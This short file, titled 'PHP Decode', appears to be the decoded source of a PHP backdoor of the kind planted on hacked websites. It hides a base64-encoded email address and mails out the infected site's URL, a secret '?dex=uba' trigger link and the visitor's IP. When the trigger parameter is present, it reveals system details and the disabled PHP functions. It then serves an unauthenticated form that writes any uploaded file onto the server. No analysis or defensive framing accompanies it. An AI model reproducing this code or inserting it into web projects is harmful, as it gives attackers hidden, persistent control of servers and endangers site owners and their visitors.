PHP Decode

// [email protected]
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$messagee .= "================[Dexter]================
";
$messagee .= "Link : http://" . $_SERVER["SERVER_NAME"] . $_SERVER['REQUEST_URI'].'?dex=uba'."
";
$messagee .= "IP	: $ip
";
$messagee.= base64_decode("PT09PT09PT09PT09PT09PVtEZXh0ZXJdPT09PT09PT09PT09PT09PQ==");
$too = base64_decode("ZHJhZ29uZGV2aWxlQGhvdG1haWwuY29t");
$subjectt = "Resulte VulneraBility [$ip]";
$headerss = "From: Dexter <localhost>";
$headerss .= $_POST['eMailAdd']."
";
$headerss .= "MIME-Version: 1.0
";
mail($too, $subjectt, $messagee,$headerss);
if ($_GET["dex"] == "uba"){
		echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
		print "
";$disable_functions = @ini_get("disable_functions"); 
		echo "DisablePHP=".$disable_functions; print "
"; 
		echo"<form method=post enctype=multipart/form-data>"; 
		echo"<input type=file name=f><input name=v type=submit id=v value=up><br>"; 
		  if($_POST["v"]==up)
{ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} 
}